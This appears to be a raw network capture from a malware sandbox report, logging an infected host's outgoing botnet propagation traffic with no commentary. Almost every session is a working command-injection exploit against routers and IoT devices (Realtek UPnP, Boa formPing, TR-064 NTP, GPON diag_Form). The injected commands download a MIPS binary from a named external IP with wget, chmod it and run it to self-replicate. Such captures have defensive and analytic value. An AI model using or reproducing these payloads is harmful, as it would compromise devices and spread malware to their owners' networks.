Apr 15, 2024 08:53:20.528525114 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
826	192.168.2.13	36810	213.241.25.174	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:20.880465984 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
827	192.168.2.13	53006	213.151.53.127	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:20.907478094 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
828	192.168.2.13	58336	213.151.54.126	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:20.912826061 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
829	192.168.2.13	45692	119.149.248.210	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.189116001 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
830	192.168.2.13	55132	119.23.80.132	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.203176022 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
831	192.168.2.13	48360	68.105.123.207	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.440853119 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
832	192.168.2.13	33532	97.120.212.86	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.444112062 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
833	192.168.2.13	50164	70.122.224.30	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.489208937 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
834	192.168.2.13	35670	23.64.254.79	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.492621899 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:21.702672958 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Mon, 15 Apr 2024 06:53:21 GMT Date: Mon, 15 Apr 2024 06:53:21 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 61 35 34 32 31 31 37 26 23 34 36 3b 31 37 31 33 31 36 34 30 30 31 26 23 34 36 3b 31 62 30 62 35 31 39 63 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 63 61 35 34 32 31 31 37 26 23 34 36 3b 31 37 31 33 31 36 34 30 30 31 26 23 34 36 3b 31 62 30 62 35 31 39 63 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.ca542117.1713164001.1b0b519c<P>https://errors.edgesuite.net/9.ca542117.1713164001.1b0b519c</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
835	192.168.2.13	59610	192.146.216.89	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.492883921 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
836	192.168.2.13	35558	18.160.1.86	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.495004892 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:21.709590912 CEST	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Mon, 15 Apr 2024 06:53:21 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 9dc566ff42777d2cad8483451738f334.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD12-P3 X-Amz-Cf-Id: _sYlEPQSmlW49V-vl0gjtLaZIEpqjRSGcU-nHqmMyeM4qftBPHtWcw== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 5f 73 59 6c 45 50 51 53 6d 6c 57 34 39 56 2d 76 6c 30 67 6a 74 4c 61 5a 49 45 70 71 6a 52 53 47 63 55 2d 6e 48 71 6d 4d 79 65 4d 34 71 66 74 42 50 48 74 57 63 77 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: _sYlEPQSmlW49V-vl0gjtLaZIEpqjRSGcU-nHqmMyeM4qftBPHtWcw==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
837	192.168.2.13	46356	109.36.156.187	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:21.499939919 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:24.576411009 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
